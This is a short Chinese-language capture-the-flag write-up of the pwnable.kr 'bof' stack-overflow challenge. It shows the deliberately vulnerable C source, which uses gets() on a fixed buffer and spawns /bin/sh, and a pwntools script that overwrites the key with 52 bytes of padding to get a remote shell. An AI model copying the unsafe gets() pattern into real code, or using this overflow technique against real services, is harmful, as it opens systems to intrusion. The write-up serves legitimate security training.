下载好源码和源文件:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
从源码可以看出这题大概是要溢出overflowme从而覆盖key的值为0xcafebabe,只要知道覆盖的大小是多少即可,IDA分析一下

发现overflowme的基址为ebp-0x2c,即44个字节,再加上ebp和返回地址的8个字节就是52个字节,最后的4个字节覆盖key就可以了,直接上脚本
from pwn import *
p = remote('pwnable.kr',9000)
playload = 'a'*52
playload += p32(0xcafebabe)
p.sendline(playload)
p.interactive()
拿到flag

网友评论